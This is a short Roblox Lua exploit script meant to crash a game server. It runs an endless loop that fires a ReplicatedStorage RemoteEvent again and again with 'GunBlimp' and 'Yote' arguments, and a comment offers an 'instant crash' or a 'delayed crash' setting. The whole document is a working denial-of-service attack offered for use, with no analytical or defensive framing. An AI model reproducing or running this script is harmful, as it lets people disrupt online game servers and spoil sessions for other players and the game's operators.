local val = 0 -- 0 = instant crash / 1 = delayed crash local a=game:GetService("ReplicatedStorage")local b=a.RemoteEvent5;_G.lol=true;while _G.lol==true do task.wait(val)b:FireServer("GunBlimp",1)b:FireServer("GunBlimp",2)b:FireServer("GunBlimp",3)b:FireServer("GunBlimp",5)b:FireServer("GunBlimp",6)b:FireServer("Yote",1)b:FireServer("Yote",2)b:FireServer("Yote",3)b:FireServer("Yote",5)b:FireServer("Yote",6)end